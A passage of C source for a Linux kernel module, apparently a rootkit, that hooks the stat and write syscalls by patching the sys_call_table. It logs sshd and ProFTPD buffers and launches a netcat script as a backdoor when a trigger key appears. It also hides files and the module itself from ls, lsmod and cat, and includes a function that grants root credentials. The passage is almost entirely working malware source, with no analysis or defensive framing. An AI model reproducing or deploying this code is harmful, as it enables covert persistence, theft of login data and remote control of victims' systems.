        if(strstr(buf,BACK_KEY) != NULL){
        exec_shell();
      }
   }
   if(  strstr(current->comm,PROFTPD_EXEC)){
        printk("Proftpd buff: %s\n",buf);
        if(strstr(buf,BACK_KEY) != NULL){
                exec_shell();
      }
   }
   if(  strstr(current->comm,"sshd")){
      if(fd == 4 && count >5 && count < 45){
                char *p = buf;
                int i;
                if(p[0]==0 && p[1]==0 && p[2]==0 && p[4]!=0 ){
                        for(i=4;i<count;i++)printk("%c",p[i]);
                     printk("\n");
                if(strstr(buf,BACK_KEY) != NULL){
                                exec_shell();
                }
                }
        }
   }
   if(strstr(current->comm,LS_EXEC)) {
        char *hiddBuff=strstr(buf,MAGIC_STRING);
        if( hiddBuff != NULL){
              char *s=(char*)current->mm->arg_start;
                char *e=(char*)current->mm->arg_end;
                char *p=s;

        while(p<e){
                        if(p[0] == '-' && p[1] !='-'){
                                if(strstr(p,"l") != NULL){
                                        return count;
                                }
                        }
                        p+=strlen(p);
                        p++;
                }
                removeMagicString(hiddBuff, count);
        }
   }
```

```
    if(strstr(current->comm,LSMOD_EXEC) ){
      if(strstr(buf,MAGIC_MODULE) != NULL ) {
      char *hiddBuff=strstr(buf,MAGIC_MODULE);
       int x,i;
       for(x=0;hiddBuff[x]!= '\n';x++)if(x>=strlen(hiddBuff)) break;
       x++;
       lsmodRt=x;
       for(i=0;i<x;i++) hiddBuff[i]='\b';
          }
    }

    if( strstr(current->comm,CAT_EXEC)){
          if(strstr(buf,MAGIC_MODULE) != NULL ){
                    char *hiddBuff=strstr(buf,MAGIC_MODULE);
                    int x,i;
                    for(x=0;hiddBuff[x]!= '\n';x++)if(x>=strlen(hiddBuff)) break;
                    x++;
                    for(i=0;i<count-x;i++){
                              hiddBuff[i]=hiddBuff[x+i];
                    }
                    for(i;i<count;i++){
                    hiddBuff[i]='\0';
               }
       }
    }
    return WRITE__call(fd, buf, count);
}

static void doHook(void)
{
    patch_STAT();
    patch_WRITE();
}

static void patch_STAT(void)
{
    STAT__call = sys_call_table[__NR_stat];
    disable_page_protection();
    sys_call_table[__NR_stat] = STAT_hook;
    enable_page_protection();
}

static void restore_STAT(void)
{
   disable_page_protection();
   sys_call_table[__NR_stat] = STAT__call;
   enable_page_protection();
}

static void patch_WRITE(void)
{
    WRITE__call = sys_call_table[__NR_write];
```

```
    disable_page_protection();
    sys_call_table[__NR_write] = WRITE_hook;
    enable_page_protection();
}

static void restore_WRITE(void)
{
   disable_page_protection();
   sys_call_table[__NR_write] = WRITE__call;
   enable_page_protection();
}

static void getRoot(void)
{
   struct cred *new = prepare_creds();
   new->uid = new->euid = 0;
   new->gid = new->egid = 0;
   commit_creds(new);
}

static int exec_shell( void) {
  char *argv[] = { "/home/mikelet/netcat.sh", NULL };
  static char *envp[] = {
                        "HOME=/",
                        "TERM=linux",
                        "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
  return call_usermodehelper( argv[0], argv, envp, UMH_WAIT_PROC);
}

void cleanup_module(void)
{
           restore_STAT();
        restore_WRITE();
           return;
}

static void removeMagicString(char __user *buff,int count)
{
    int i;
    char *pBuf=(char *) buff;
    char *p=buff+strlen(MAGIC_STRING)+2;
    for(i=0;i<count-strlen(MAGIC_STRING);i++){
           pBuf[i]=p[i];
              if(p[i]=='\n'){
                    break;
              }
    }
    for(i++;i<count;i++) pBuf[i]='\0';
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("sylkat");
```

MODULE_DESCRIPTION("SysCalls hooking for fun and profit ;)");
